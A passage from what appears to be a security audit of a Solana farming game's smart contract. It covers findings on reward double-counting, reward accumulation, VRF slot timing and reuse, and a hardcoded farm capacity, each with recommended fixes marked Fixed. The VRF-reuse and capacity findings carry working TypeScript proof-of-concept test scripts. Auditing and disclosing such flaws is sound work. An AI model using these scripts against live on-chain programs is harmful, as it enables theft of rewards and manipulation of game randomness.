    let farming_reward = pending_farming_rewards + current_period_reward;
```

Proof of Concept

NOTE:
`claim_reward_with_referral_rewards` is called, for simplicity, only the values of certain variables are tracked.

Constants

- Base rate: 200,000,000 base units per second (200 WEED per second)
- Precision multiplier: 1,000,000
- User grow power: 500
- Total grow power: 10,000
- User share: (500 * 1,000,000) / 10,000 = 50,000 (5%)

Initial State (Time = 0)

- Pending farming rewards: 0
- Last harvest time: 0
- Pending rewards timestamp: 0

First Claim: Time = 3600 seconds (1 hour)

1. accumulate_pending_rewards:
    - Period: 0 to 3600 seconds (uses `pending_rewards_timestamp` = 0)
    - Since this is the first execution, it initializes `pending_rewards_timestamp` to 3600 and records grow power (500).
    - Early exit condition: No rewards calculated yet, returns 0.
    - Result: `pending_farming_rewards` remains 0.
2. calculate_current_period_rewards:
    - Period: 0 to 3600 seconds (uses `last_harvest_time` = 0)
    - Reward calculation: (200,000,000 * 3600 * 50,000) / 1,000,000 = 36,000,000,000 base units (36,000 WEED)

Total reward: - 0 (from `accumulate_pending_rewards`) + 36,000,000,000 (from `calculate_current_period_rewards`) = 36,000,000,000 base units (36,000 WEED)

Post-claim state: - `pending_farming_rewards` = 0

- `last_harvest_time` = 3600
- `pending_rewards_timestamp` = 3600

- Expected: 36,000 WEED (for 0 to 3600 seconds)
- Received: 36,000 WEED (correct for the first claim)

Second Claim: Time = 7200 seconds (2 hours)

1. accumulate_pending_rewards:
    - Period: 3600 to 7200 seconds (uses `pending_rewards_timestamp` = 3600)
    - Reward calculation: (200,000,000 * 3600 * 50,000) / 1,000,000 = 36,000,000,000 base units (36,000 WEED)
    - Updates: `pending_farming_rewards` = 36,000,000,000, `pending_rewards_timestamp` = 7200
2. calculate_current_period_rewards:
    - Period: 3600 to 7200 seconds (uses `last_harvest_time` = 3600)
    - Reward calculation: (200,000,000 * 3600 * 50,000) / 1,000,000 = 36,000,000,000 base units (36,000 WEED)

Total reward: - 36,000,000,000 (from `accumulate_pending_rewards`) + 36,000,000,000 (from `calculate_current_period_rewards`) = 72,000,000,000 base units (72,000 WEED)

Post-claim state: - `pending_farming_rewards` = 0

- `last_harvest_time` = 7200
- Expected: 36,000 WEED (for 3600 to 7200 seconds)
- Received: 72,000 WEED (double counted)

Overall Result

- Total expected rewards (0 to 7200 seconds): 72,000 WEED
- Total received: 36,000 WEED (first claim) + 72,000 WEED (second claim) = 108,000 WEED

The user receives 108,000 WEED instead of the expected 72,000 WEED because the second claim double counts the rewards for the period from 3600 to 7200 seconds.): Time = 3600 seconds (1 hour)

Recommendation

Change the check inside `calculate_current_period_rewards`, so that it skips calculating rewards if they have just been calculated in `accumulate_pending_rewards`.

```
     let start_time = if user_state.pending_rewards_timestamp > 0 &&
-                       user_state.pending_rewards_timestamp ≠
    current_time {
+                       user_state.pending_rewards_timestamp ==
    current_time {
         // Use pending timestamp if set in previous session
         user_state.pending_rewards_timestamp
     } else {
         // First claim or same session claim: use harvest time
         user_state.last_harvest_time
     };
```

Status

Fixed

High 11 `accumulate_pending_rewards` Is Called Only During Rewards Claim, Breaking The Rewards Calculations

Location

economics.rs:215-259

Description

Currently, `accumulate_pending_rewards` will calculate the accumulated rewards since the user last called `accumulate_pending_rewards`, which would be at the user's last claim, as `accumulate_pending_rewards` is called only on claim. `accumulate_pending_rewards` will calculate the rewards for the elapsed time since then using the user's grow-power at the last claim (`grow_power_at_pending`).

But `accumulate_pending_rewards` function is designed to "lock in" rewards each time a player's grow power(GP) changes. This mechanism ensures that users

are rewarded fairly and prevents the common exploit where players temporarily inflate their GP - such as by planting high-power seed, just before claiming rewards.

However, the function is not consistently called on every grow power change, such as when planting or removing seed, which leads to incorrect rewards calculations.

Proof of Concept

1. User with 100 GP claims rewards at T0 and calls `claim_reward_with_referral_rewards` -> `calculate_total_rewards` -> `accumulate_pending_rewards`.

   1.1. Unside `accumulate_pending_rewards`:

   - `user_state.pending_rewards_timestamp = T0`;
   - `user_state.grow_power_at_pending = 100 GP`;

2. With time, users plant seeds and increase their GP, so the GP becomes 200, 500, 1000 with time.
3. After 10 days, the user claims again.

   3.1. Unside `accumulate_pending_rewards`, `calculate_rewards_across_halving` is called and rewards are calculated for the period `T10(now) - T0(pending_rewards_timestamp)` with `100GP(grow_power_at_pending)`.

The rewards for the whole 10 days period is calculated using the 100 GP althoght the user GP changed a few times since his last claim.

Recommendation

First, the `accumulate_pending_rewards` function should be called inside every function that changes the user's grow-power BUT BEFORE the grow-power change:

- `plant_seed()`
- `remove_seed()`
- `batch_plant_seeds()`
- `batch_remove_seeds()`

Here is an example in `plant_seed`:

```
pub fn plant_seed(ctx: Context<PlantSeed>, seed_id: u32, seed_type: SeedType) -> Result<()> {
    ...
+    let current_time = Clock::get()?.unix_timestamp;

+    crate::economics::accumulate_pending_rewards(
+        &mut ctx.accounts.user_state,
+       &ctx.accounts.global_stats,
+        &ctx.accounts.config,
+        current_time,
+   )?;

    // Update header counts
    seed_storage_header.planted_count += 1;

    // Update farm state
    farm_space.seed_count += 1;
    farm_space.total_grow_power += grow_power;

    // Update user and global stats
    user_state.total_grow_power += grow_power;
    global_stats.total_grow_power += grow_power;

    msg!("🌱 Seed {} planted with {} grow power", seed_id, grow_power);
    Ok(())
}
```

Second, refactor `accumulate_pending_rewards` like this. Since the `accumulate_pending_rewards` will be called before grow-power change, `user_state.total_grow_power` will hold the user's old grow-power, so there is no need of `grow_power_at_pending`.

```
pub fn accumulate_pending_rewards(
    user_state: &mut crate::state::UserState,    // User state (pending update target)
    global_stats: &crate::state::GlobalStats,    // Global statistics (total pool)
    config: &crate::state::Config,               // System configuration (halving information)
    current_time: i64,                           // Current time (finalization time)
) -> Result<u64> {
    // ═══ First Execution Initialization Phase ═══
    // Initial setup of pending system
    if user_state.pending_rewards_timestamp == 0 {
        user_state.pending_rewards_timestamp = last_harvest_time;
-        user_state.grow_power_at_pending = user_state.user_state.total_grow_power;
```

```
-         user_state.total_grow_power_at_pending = global_stats.
    total_grow_power;
          return Ok(0);  // No accumulated rewards on first run
     }

     // ═══ Time Passage Check Phase ═══
     // Skip if no time has passed
     if current_time ⩽ user_state.pending_rewards_timestamp {
          return Ok(0);
     }

     // ═══ Past Period Reward Finalization Calculation Phase ═══
     // Important: Use both past user and total Grow Power for reward
    calculation (exploit prevention & fairness assurance)
     let farming_reward = calculate_rewards_across_halving(
-         user_state.grow_power_at_pending,       // Past user Grow
    Power (value at finalization point)
+         user_state.total_grow_power,
-         user_state.total_grow_power_at_pending, // Past total Grow
    Power (value at finalization point)
+         global_stats.total_grow_power,
          config.base_rate,                       // Base rate
          user_state.pending_rewards_timestamp,   // From previous
    finalization time
          current_time,                           // To current time
          config.next_halving_time,               // Halving information
          config.halving_interval,
     )?;

     // Add to pending rewards
     user_state.pending_farming_rewards = user_state.
    pending_farming_rewards
          .checked_add(farming_reward)
          .ok_or(crate::error::GameError::CalculationOverflow)?;

     // Update timestamp and both Grow Powers for next calculation
     user_state.pending_rewards_timestamp = current_time;
-     user_state.grow_power_at_pending = user_state.total_grow_power;
-     user_state.total_grow_power_at_pending = global_stats.
    total_grow_power;

     Ok(farming_reward)
}
```

Status

Fixed

Medium

Mid 01 Poor VRF And Purchase Slot Expectation

Location

seeds.rs:800

Description

The current implementation in `seeds.rs::purchase_seed_pack` expects the VRF (Verifiable Random Function) commit to occur in slot N and the subsequent transaction to land in slot N+1, immediately after the VRF account is created. This tight slot timing requirement is difficult to guarantee on Solana unless you are running your own validator or have precise control over transaction ordering. In practice, due to network latency, transaction batching, and the unpredictable nature of slot assignment, there is a moderate-to-high chance that the reveal transaction will not land in the expected slot. As a result, the purchase transaction may frequently fail with a "VRF already committed or revealed" error, leading to a poor user experience and unnecessary transaction failures.

Recommendation

Redesign the slot timing validation logic to be more tolerant of network conditions. Instead of requiring the reveal to occur strictly in slot N+1, allow a configurable window of acceptable slots (e.g., N+1 to N+K, where K is a small number). Alternatively, use a more robust mechanism to track VRF commitments and reveals that does not rely on precise slot sequencing. This will make the system more reliable and user-friendly, reducing the likelihood of failed transactions due to slot timing mismatches.

For example using a boolean flag is a good option which won't have such problems.

Status

Fixed

Mid 02 Poor VRF Reuse Prevention

Location

seeds.rs:800

Description

The current logic in `seeds.rs::purchase_seed_pack` for VRF (Verifiable Random Function) reuse prevention only checks that the `seed_slot` in the VRF account matches the expected slot (typically `clock.slot - 1`). However, if two transactions referencing the same VRF account are processed within the same slot, both can succeed because the slot-based check does not prevent concurrent or rapid reuse within that slot. This creates a race condition where the same VRF account can be used for multiple purchases, potentially allowing users to reuse randomness and undermine the fairness and unpredictability of the seed pack opening process. This weakens the security guarantees of the commit-reveal pattern and could be exploited to gain an unfair advantage.

Proof of Concept

In `devnet\05-vrf-and-game-flow.test.ts` add the following test:

```
it("Should be able to reuse VRF", async function () {
  this.timeout(300000); // 5 minutes

  // Clean up any existing unopened packs
  const existingPackId = await getLatestUnopenedPackId(player.
   publicKey);
  if (existingPackId) {
    console.log("\n Cleaning up existing unopened packs...");
    const cleaned = await cleanupUnopenedPacks(player);

    if (!cleaned) {
      const stillExists = await getLatestUnopenedPackId(player.
   publicKey);
      if (stillExists) {
        throw new Error(" Could not clean up unopened packs");
      }
    }
  }

```

```
18  // Check token balance
19  try {
20    const tokenAccount = await getAccount(
21      connection,
22      playerTokenAccount,
23      "confirmed",
24      TOKEN_2022_PROGRAM_ID
25    );
26    const balance = Number(tokenAccount.amount) / 1e6;
27    if (balance < 1000) {
28      console.log(` Insufficient WEED balance: ${balance} (need 1000)
    `);
29      throw new Error(" Insufficient WEED balance: ${balance} (need
    1000)");
30    }
31  } catch (error) {
32    const errorMessage = error instanceof Error ? error.message :
    String(error);
33    throw new Error(`Test failed: ${errorMessage}`);
34  }
35
36  console.log("\n Starting VRF multicall flow...");
37
38  // Get current pack counter
39  const configAccount = await connection.getAccountInfo(configPDA);
40  if (!configAccount) {
41    throw new Error("Config account not found");
42  }
43  const seedPackCounterFirst = configAccount.data.readBigUInt64LE(
44    8 + 8 + 8 + 8 + 32 + 32 + 8 + 4
45  );
46  console.log(` Will create pack ID (First): ${seedPackCounterFirst
    }`);
47
48  const seedPackCounterSecond = seedPackCounterFirst + 1n;
49  console.log(` Will create pack ID (Second): ${seedPackCounterSecond
    }`);
50
51  // Setup Switchboard SDK
52  const provider = new anchor.AnchorProvider(
53    connection,
54    new anchor.Wallet(player),
55    { commitment: "confirmed" }
56  );
57  const sbProgram = await anchor.Program.at(
58    sb.ON_DEMAND_DEVNET_PID,
59    provider
```

```
  );

  const vrfKeypair = Keypair.generate();
  console.log(
    `Creating VRF account: ${vrfKeypair.publicKey.toString()}`
  );

  // ═══ Phase 1: VRF Create ═══
  console.log("\n Phase 1: Creating VRF account...");
  const [randomness, createVrfIx] = await sb.Randomness.create(
    sbProgram,
    vrfKeypair,
    SWITCHBOARD_QUEUE
  );

  const createTx = new Transaction().add(createVrfIx);
  const createSig = await sendAndConfirmTransaction(
    connection,
    createTx,
    [player, vrfKeypair],
    { commitment: "confirmed" }
  );
  console.log(" VRF account created:", createSig);

  // Wait a moment to ensure account is available
  await new Promise((resolve) => setTimeout(resolve, 2000));

  // ═══ Phase 2: Commit + Purchase (MULTICALL) ═══
  console.log("\n Phase 2: Commit + Purchase multicall...");

  // Build commit instruction
  const commitIx = await randomness.commitIx(SWITCHBOARD_QUEUE);

  // Build purchase instruction
  const userStatePDA = getUserStatePDA(player.publicKey);
  const farmSpacePDA = getFarmSpacePDA(player.publicKey);

  const seedPackFirstPDA = getSeedPackPDA(player.publicKey,
   seedPackCounterFirst);
  const escrowFirstPDA = getEscrowPDA(player.publicKey,
   seedPackCounterFirst);
  const escrowTokenAccountFirstPDA = getAssociatedTokenAddressSync(
    rewardMintPDA,
    escrowFirstPDA,
    true,
    TOKEN_2022_PROGRAM_ID
  );
```

```
105
106   const purchaseFirstIx = new TransactionInstruction({
107     keys: [
108       { pubkey: userStatePDA, isSigner: false, isWritable: true },
109       { pubkey: farmSpacePDA, isSigner: false, isWritable: true },
110       { pubkey: configPDA, isSigner: false, isWritable: true },
111       { pubkey: seedPackFirstPDA, isSigner: false, isWritable: true },
112       { pubkey: rewardMintPDA, isSigner: false, isWritable: true },
113       { pubkey: playerTokenAccount, isSigner: false, isWritable: true
      },
114       { pubkey: escrowFirstPDA, isSigner: false, isWritable: true },
115       { pubkey: escrowTokenAccountFirstPDA, isSigner: false,
      isWritable: true },
116       { pubkey: vrfKeypair.publicKey, isSigner: false, isWritable:
      true },
117       {
118         pubkey: SWITCHBOARD_ON_DEMAND_PROGRAM_ID,
119         isSigner: false,
120         isWritable: false,
121       },
122       { pubkey: SWITCHBOARD_QUEUE, isSigner: false, isWritable: false
      },
123       {
124         pubkey: getSwitchboardEscrowPDA(),
125         isSigner: false,
126         isWritable: false,
127       },
128       { pubkey: player.publicKey, isSigner: true, isWritable: true },
129       { pubkey: TOKEN_2022_PROGRAM_ID, isSigner: false, isWritable:
      false },
130       {
131         pubkey: SystemProgram.programId,
132         isSigner: false,
133         isWritable: false,
134       },
135       {
136         pubkey: ASSOCIATED_TOKEN_PROGRAM_ID,
137         isSigner: false,
138         isWritable: false,
139       },
140       {
141         pubkey: new PublicKey(
142           "SysvarS1otHashes111111111111111111111111111"
143         ),
144         isSigner: false,
145         isWritable: false,
146       },
```

```
    ],
    programId: PROGRAM_ID,
    data: Buffer.concat([
      getDiscriminator("purchase_seed_pack"),
      Buffer.from([1]), // quantity
      Buffer.from(new BN(12345).toArray("le", 8)), // user_entropy_seed
      Buffer.from(new BN(0.002 * LAMPORTS_PER_SOL).toArray("le", 8)), // max_vrf_fee
    ]),
  });

  const seedPackSecondPDA = getSeedPackPDA(player.publicKey, seedPackCounterSecond);
  const escrowSecondPDA = getEscrowPDA(player.publicKey, seedPackCounterSecond);
  const escrowTokenAccountSecondPDA = getAssociatedTokenAddressSync(
    rewardMintPDA,
    escrowSecondPDA,
    true,
    TOKEN_2022_PROGRAM_ID
  );

  const purchaseSecondIx = new TransactionInstruction({
    keys: [
      { pubkey: userStatePDA, isSigner: false, isWritable: true },
      { pubkey: farmSpacePDA, isSigner: false, isWritable: true },
      { pubkey: configPDA, isSigner: false, isWritable: true },
      { pubkey: seedPackSecondPDA, isSigner: false, isWritable: true },
      { pubkey: rewardMintPDA, isSigner: false, isWritable: true },
      { pubkey: playerTokenAccount, isSigner: false, isWritable: true },
      { pubkey: escrowSecondPDA, isSigner: false, isWritable: true },
      { pubkey: escrowTokenAccountSecondPDA, isSigner: false, isWritable: true },
      { pubkey: vrfKeypair.publicKey, isSigner: false, isWritable: true },
      {
        pubkey: SWITCHBOARD_ON_DEMAND_PROGRAM_ID,
        isSigner: false,
        isWritable: false,
      },
      { pubkey: SWITCHBOARD_QUEUE, isSigner: false, isWritable: false },
      {
        pubkey: getSwitchboardEscrowPDA(),
```

```
185         isSigner: false,
186         isWritable: false,
187       },
188       { pubkey: player.publicKey, isSigner: true, isWritable: true },
189       { pubkey: TOKEN_2022_PROGRAM_ID, isSigner: false, isWritable:
    false },
190       {
191         pubkey: SystemProgram.programId,
192         isSigner: false,
193         isWritable: false,
194       },
195       {
196         pubkey: ASSOCIATED_TOKEN_PROGRAM_ID,
197         isSigner: false,
198         isWritable: false,
199       },
200       {
201         pubkey: new PublicKey(
202           "SysvarS1otHashes111111111111111111111111111"
203         ),
204         isSigner: false,
205         isWritable: false,
206       },
207     ],
208     programId: PROGRAM_ID,
209     data: Buffer.concat([
210       getDiscriminator("purchase_seed_pack"),
211       Buffer.from([1]), // quantity
212       Buffer.from(new BN(12345).toArray("le", 8)), //
    user_entropy_seed
213       Buffer.from(new BN(0.002 * LAMPORTS_PER_SOL).toArray("le", 8)),
    // max_vrf_fee
214     ]),
215   });
216
217   // Execute multicall
218   console.log("🎰 Executing commit + purchase multicall...");
219   const multicallTx = new Transaction()
220     .add(commitIx) // 1. Commit VRF randomness
221     .add(purchaseFirstIx); // 2. Purchase first seed pack
222
223   try {
224     const multicallSig = await sendAndConfirmTransaction(
225       connection,
226       multicallTx,
227       [player],
228       { commitment: "confirmed", skipPreflight: false }
```

```
    );

    console.log("✅ COMMIT + PURCHASE MULTICALL SUCCESS!");
    console.log("Multicall transaction:", multicallSig);
  } catch (error) {
    const errorMessage = error instanceof Error ? error.message :
 String(error);
    throw new Error(`Multicall failed: ${errorMessage}`);
  }

  // Check escrow balance
  try {
    const escrowTokenFirstBalance = await getAccount(
      connection,
      escrowTokenAccountFirstPDA,
      "confirmed",
      TOKEN_2022_PROGRAM_ID
    );
    console.log(
      `🔒 Escrow balance (First): ${Number(escrowTokenFirstBalance.
 amount) / 1e6} WEED`
    );
  } catch (e) {
    console.log(`⚠️ Could not read escrow balance`);
  }

  try {
    const escrowTokenSecondBalance = await getAccount(
      connection,
      escrowTokenAccountSecondPDA,
      "confirmed",
      TOKEN_2022_PROGRAM_ID
    );
    console.log(
      `🔒 Escrow balance (Second): ${Number(escrowTokenSecondBalance.
 amount) / 1e6} WEED`
    );
  } catch (e) {
    console.log(`⚠️ Could not read escrow balance`);
  }

  // ═══ Phase 3: Wait for VRF fulfillment ═══
  const vrfReady = await waitForVRF(vrfKeypair.publicKey,
 seedPackCounterFirst);
  if (!vrfReady) {
    throw new Error("VRF not fulfilled in time");
  }
```

```
272
273   // ═══ Phase 4: Open the pack ═══
274   console.log("\n Opening the pack...");
275   const openTx = await openPack(
276     player,
277     seedPackCounterFirst,
278     vrfKeypair.publicKey
279   );
280   if (!openTx) {
281     throw new Error("Failed to open pack");
282   }
283   console.log(` Pack opened successfully: ${openTx}`);
284
285   // Verify pack is opened
286   const packInfo = await connection.getAccountInfo(seedPackFirstPDA);
287   if (packInfo) {
288     const isOpened = packInfo.data[49] === 1;
289     expect(isOpened).to.be.true;
290   }
291
292   // ═══ Phase 5: Purchase second pack with the same VRF ═══
293   // Execute call
294   console.log(" Executing purchase call...");
295   const callTx = new Transaction()
296     .add(purchaseSecondIx); // 1. Purchase first seed pack
297
298   try {
299     const callSig = await sendAndConfirmTransaction(
300       connection,
301       callTx,
302       [player],
303       { commitment: "confirmed", skipPreflight: false }
304     );
305
306     console.log(" PURCHASE CALL SUCCESS!");
307     console.log("Call transaction:", callSig);
308   } catch (error) {
309     const errorMessage = error instanceof Error ? error.message :
      String(error);
310     throw new Error(`Call failed: ${errorMessage}`);
311   }
312 });
```

Recommendation

Implement a stronger mechanism to prevent VRF account reuse, such as marking the VRF account as “used” immediately after the first successful commit and re-

jecting any subsequent transactions that reference the same account, regardless of slot timing. This will ensure that each VRF account can only be used once, fully preventing reuse and maintaining the integrity of the randomness process.

The variables `is_vrf_committed` and `is_vrf_revealed` in the `SeedPack` struct can be used to achieve such validation

Status

Fixed

Mid 03 Initial Capacity Is Not Correctly Fetched Through Farm Space Config But Is Hardcoded

Location

farm.rs:469

Description

In the `farm.rs` :: `buy_farm_space` function, the initial farm space capacity is hard-coded to `4` when a user purchases their first farm space. However, the actual intended capacity for level 1 is stored in the `FarmLevelConfig` account, which can be updated by the admin using the `update_farm_level_config` instruction. If the admin changes the level 1 capacity in the configuration (for example, to 5 or 6), the `buy_farm_space` function will still assign a capacity of `4`, ignoring the updated value. This leads to inconsistencies between the configured farm level capacities and the actual capacities assigned to new farms, potentially confusing users and undermining the admin's ability to adjust game balance.

Proof of Concept

1. Create a new keypair named `player-vuln-keypair.json`
2. In `localnet\02-player-operations.test.ts` add the following line to the `getDiscriminator` function:

```
function getDiscriminator(instructionName: string): Buffer {
  const discriminators: { [key: string]: number[] } = {
    init_user: [14, 51, 68, 159, 237, 78, 158, 102],
    use_referral_code: [164, 145, 24, 133, 89, 120, 91, 128],
    buy_farm_space: [82, 254, 100, 171, 224, 125, 146, 127],
    claim_rewards: [4, 144, 132, 71, 116, 23, 151, 80],
    plant_seed: [139, 66, 41, 202, 41, 145, 173, 204],
    add_operator_address: [236, 17, 230, 250, 252, 40, 108, 114],
    toggle_referral_code_status: [133, 238, 0, 147, 51, 95, 136, 45],
+    update_farm_level_config: [30, 56, 58, 185, 143, 194, 27, 37],
  };

  return Buffer.from(discriminators[instructionName] || []);
}
```

3. Also add the following lines to the file:

```
describe("🧪 LocalNet Player Operations", () => {
  let admin: Keypair;
  let operator: Keypair;
  let player: Keypair;
  let player2: Keypair;
  let player3: Keypair;
+  let playerVuln: Keypair;
  let initialGlobalStats: any;

  before(async () => {
    console.log("\🔧n Player Operations Setup");
    console.log("═══════════════════════════════════════");

    admin = loadKeypair("deploy-keypair.json");
    operator = loadKeypair("operator-keypair.json");
    player = loadKeypair("player-keypair.json");
    player2 = loadKeypair("player2-keypair.json");
    player3 = loadKeypair("player3-keypair.json");
+    playerVuln = loadKeypair("player-vuln-keypair.json");

    console.log(`Admin: ${admin.publicKey.toString()}`);
    console.log(`Operator: ${operator.publicKey.toString()}`);
    console.log(`Player 1: ${player.publicKey.toString()}`);
    console.log(`Player 2: ${player2.publicKey.toString()}`);
    console.log(`Player 3: ${player3.publicKey.toString()}`);
+    console.log(`Player Vulnerable: ${playerVuln.publicKey.toString()
    }`);
    console.log(`Program: ${PROGRAM_ID.toString()}`);

    ...
```

4. Add the following test to the same file:

```
describe("Vulnerability Test: Farm Space Capacity", () => {
    it("should demonstrate that farm space capacity ignores updated config", async () => {
      // Step 1: Register playerVuln using operator's invitation
      const preRegisteredPDA = getPreRegisteredPDA(playerVuln.publicKey);
      const userStatePDA = getUserStatePDA(playerVuln.publicKey);
      const seedStoragePDA = getSeedStoragePDA(playerVuln.publicKey);
      const seedStorageDataPDA = getSeedStorageDataPDA(playerVuln.publicKey);

      // Check if already exists
      const existingAccount = await connection.getAccountInfo(preRegisteredPDA);
      if (existingAccount) {
        console.log(` Player Vuln already pre-registered`);
      }
      else {
        // Operator pre-registers playerVuln
        const initUserIx = new TransactionInstruction({
          keys: [
            { pubkey: preRegisteredPDA, isSigner: false, isWritable: true },
            { pubkey: getConfigPDA(), isSigner: false, isWritable: true },
            { pubkey: playerVuln.publicKey, isSigner: false, isWritable: false },
            { pubkey: operator.publicKey, isSigner: true, isWritable: true },
            { pubkey: SystemProgram.programId, isSigner: false, isWritable: false },
          ],
          programId: PROGRAM_ID,
          data: getDiscriminator("init_user"),
        });
        await sendAndConfirmTransaction(connection, new Transaction().add(initUserIx), [operator]);
      }

      // PlayerVuln uses the referral code
      const preRegAccountInfo = await connection.getAccountInfo(preRegisteredPDA);
      const referralCode = preRegAccountInfo!.data.slice(40, 48);
      const useReferralIx = new TransactionInstruction({
        keys: [
          { pubkey: SystemProgram.programId, isSigner: false, isWritable: false }, // inviter_state (None)
```

```
36            { pubkey: preRegisteredPDA, isSigner: false, isWritable:
      true },
37            { pubkey: userStatePDA, isSigner: false, isWritable: true },
38            { pubkey: getConfigPDA(), isSigner: false, isWritable: true
      },
39            { pubkey: getProbabilityTablePDA(), isSigner: false,
      isWritable: false },
40            { pubkey: getFarmLevelConfigPDA(), isSigner: false,
      isWritable: false },
41            { pubkey: seedStoragePDA, isSigner: false, isWritable: true
      },
42            { pubkey: seedStorageDataPDA, isSigner: false, isWritable:
      true },
43            { pubkey: playerVuln.publicKey, isSigner: true, isWritable:
      true },
44            { pubkey: SystemProgram.programId, isSigner: false,
      isWritable: false },
45          ],
46          programId: PROGRAM_ID,
47          data: Buffer.concat([getDiscriminator("use_referral_code"),
      referralCode]),
48        });
49
50        try {
51          // Now use_referral_code automatically initializes seed
      storage
52          const tx = new Transaction().add(useReferralIx);
53          const signature = await sendAndConfirmTransaction(connection,
      tx, [
54            playerVuln,
55          ]);
56
57          console.log(` Player Vuln joined game: ${signature}`);
58          console.log(
59            `   Player Vul  now has their own referral code for
      inviting players`
60          );
61          console.log(
62            `   Seed storage automatically initialized for Player Vuln
      `
63          );
64        } catch (error: any) {
65          if (
66            error.logs &&
67            error.logs.some((log: string) =>
68              log.includes("ReferralCodeUsageDisabled")
69            )
```

```
70          ) {
71            console.log(` Referral system is disabled - enabling it
    first...`);
72
73            // Enable referral system
74            const configPDA = getConfigPDA();
75            const toggleIx = new TransactionInstruction({
76              keys: [
77                { pubkey: configPDA, isSigner: false, isWritable: true
    },
78                { pubkey: admin.publicKey, isSigner: true, isWritable:
    true },
79              ],
80              programId: PROGRAM_ID,
81              data: getDiscriminator("toggle_referral_code_status"),
82            });
83
84            const toggleTx = new Transaction().add(toggleIx);
85            await sendAndConfirmTransaction(connection, toggleTx, [admin
    ]);
86            console.log(` Referral system re-enabled`);
87
88            // Retry the original transaction
89            const retryTx = new Transaction().add(useReferralIx);
90            const signature = await sendAndConfirmTransaction(
91              connection,
92              retryTx,
93              [playerVuln]
94            );
95
96            console.log(` Player Vuln joined game: ${signature}`);
97            console.log(
98              `    Player Vuln now has their own referral code for
    inviting players`
99            );
100           console.log(
101             `    Seed storage automatically initialized for Player
    Vuln`
102           );
103         }
104       }
105
106       // Step 2: Admin updates FarmLevelConfig to set level 1 capacity
     to 6
107       const configPDA = getConfigPDA();
108       const farmLevelConfigPDA = getFarmLevelConfigPDA();
109
```

```
    const maxLevel = 6;
    const capacities = [6, 8, 10, 12, 14, 16]; // Add level 6 with capacity 15
    const thresholds = [0, 30, 100, 300, 500, 1000]; // Add level 6 threshold

    console.log(` Updating farm level config to ${maxLevel} levels `);
    console.log(`   Capacities: [${capacities.join(", ")}]`);
    console.log(`   Thresholds: [${thresholds.join(", ")}]`);

    // Serialize Vec parameters
    const capacitiesData = Buffer.alloc(4 + capacities.length);
    capacitiesData.writeUInt32LE(capacities.length, 0);
    capacities.forEach((cap, i) => {
      capacitiesData.writeUInt8(cap, 4 + i);
    });

    const thresholdsData = Buffer.alloc(4 + thresholds.length * 4);
    thresholdsData.writeUInt32LE(thresholds.length, 0);
    let offset = 4;
    thresholds.forEach((th) => {
      thresholdsData.writeUInt32LE(th, offset);
      offset += 4;
    });

    const updateIx = new TransactionInstruction({
      keys: [
        { pubkey: farmLevelConfigPDA, isSigner: false, isWritable: true },
        { pubkey: configPDA, isSigner: false, isWritable: false },
        { pubkey: admin.publicKey, isSigner: true, isWritable: false },
      ],
      programId: PROGRAM_ID,
      data: Buffer.concat([
        getDiscriminator("update_farm_level_config"),
        Buffer.from([maxLevel]), // max_level (u8)
        capacitiesData,
        thresholdsData,
      ]),
    });

    await sendAndConfirmTransaction(connection, new Transaction().add(updateIx), [admin]);

    // Step 3: PlayerVuln buys a farm space
```

```
151       const farmSpacePDA = getFarmSpacePDA(playerVuln.publicKey);
152       const configAccount = await connection.getAccountInfo(
      getConfigPDA());
153       const configData = parseConfigData(configAccount!.data);
154       const treasury = new PublicKey(configData.treasury);
155
156       const buyFarmIx = new TransactionInstruction({
157         keys: [
158           { pubkey: userStatePDA, isSigner: false, isWritable: true },
159           { pubkey: farmSpacePDA, isSigner: false, isWritable: true },
160           { pubkey: seedStoragePDA, isSigner: false, isWritable: true
      },
161           { pubkey: seedStorageDataPDA, isSigner: false, isWritable:
      true },
162           { pubkey: getConfigPDA(), isSigner: false, isWritable: true
      },
163           { pubkey: getGlobalStatsPDA(), isSigner: false, isWritable:
      true },
164           { pubkey: getProbabilityTablePDA(), isSigner: false,
      isWritable: false },
165           { pubkey: getSeedGrowPowersPDA(), isSigner: false,
      isWritable: false },
166           { pubkey: treasury, isSigner: false, isWritable: true },
167           { pubkey: playerVuln.publicKey, isSigner: true, isWritable:
      true },
168           { pubkey: SystemProgram.programId, isSigner: false,
      isWritable: false },
169           { pubkey: SystemProgram.programId, isSigner: false,
      isWritable: false }, // Dummy VRF accounts
170           { pubkey: SystemProgram.programId, isSigner: false,
      isWritable: false },
171           { pubkey: SystemProgram.programId, isSigner: false,
      isWritable: false },
172         ],
173         programId: PROGRAM_ID,
174         data: getDiscriminator("buy_farm_space"),
175       });
176       await sendAndConfirmTransaction(connection, new Transaction().
      add(buyFarmIx), [playerVuln]);
177
178       // Step 4: Verify the farm space capacity
179       const configInfo = await connection.getAccountInfo(
      farmLevelConfigPDA);
180       if (!configInfo) {
181         console.log(` Farm level config not found`);
182         return;
183       }
```

```
184
185       // Parse farm level data
186       offset = 8; // Skip discriminator
187       const maxLevelFarmConf = configInfo.data.readUInt8(offset);
188       offset += 1;
189
190       console.log(`🌾 Farm Level Configuration:`);
191       console.log(`   Max Level: ${maxLevelFarmConf}`);
192
193       // Read capacities
194       const configCapacity = configInfo.data.readUInt8(offset);
195
196       console.log(`\n🌱 Level Capacities:`);
197       for (let level = 1; level ≤ maxLevelFarmConf; level++) {
198         const capacity = configInfo.data.readUInt8(offset + level - 1)
    ;
199         console.log(`   Level ${level}: ${capacity} seeds`);
200       }
201       offset += 16; // Skip capacity array
202
203       // Read upgrade thresholds
204       console.log(`\n💰 Upgrade Costs:`);
205       for (let level = 1; level < maxLevelFarmConf; level++) {
206         const threshold = configInfo.data.readUInt32LE(
207           offset + (level - 1) * 4
208         );
209         console.log(`   Level ${level} → ${level + 1}: ${threshold}
    WEED`);
210       }
211
212       const farmSpaceAccount = await connection.getAccountInfo(
    farmSpacePDA);
213       const actualCapacity = farmSpaceAccount!.data.readUInt8(41);
214
215       // Demonstrate the vulnerability
216       console.log(`Expected capacity (from config): ${configCapacity
    }`);
217       console.log(`Actual capacity (from farm space): ${actualCapacity
    }`);
218       console.log(
219         `Vulnerability: Farm space capacity is hardcoded to ${
    actualCapacity}, ignoring the updated FarmLevelConfig value of ${
    configCapacity}.`
220       );
221     });
222   });
```

Recommendation

Update the `buy_farm_space` function to read the level 1 capacity from the `FarmLevelConfig` account instead of hardcoding it to `4`. This ensures that any changes made by the admin to the level 1 capacity are respected and that all new farm spaces are initialized with the correct, up-to-date value from the configuration.

Status

Fixed

Mid 04 Premature Global Seed Capacity Check Prevents Auto-discard Logic In `open_seed_pack`

Location

seeds.rs:1276-1292

Description

